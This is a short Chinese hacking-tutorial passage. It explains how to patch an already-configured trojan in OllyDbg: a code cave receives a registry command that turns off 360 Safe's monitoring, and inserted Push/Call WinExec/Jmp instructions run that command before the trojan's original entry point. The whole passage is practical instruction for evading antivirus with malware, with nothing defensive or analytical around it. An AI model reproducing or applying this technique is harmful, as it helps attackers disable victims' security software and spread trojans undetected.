ASM汇编
这个是最舒服的,用OD打开已经配置好的马,找0区(也可以用TOPO加空段)要很大一片哦!右击,选择“二进制”→“编辑”,在ASCII中输入 “Cmd /c REG add HKLM\SOFTWARE\360Safe\safemon /v MonAccess /t REG_DWORD /d 0 /f”记下写入命令的改动的第一个地址,假设为401180。
再找一个小空段,记下地址,假设为40116A
写入:
Push 401180 (也就是那个改动的地址)
Call WinExec
Jmp 原程序入口点(在OD右边)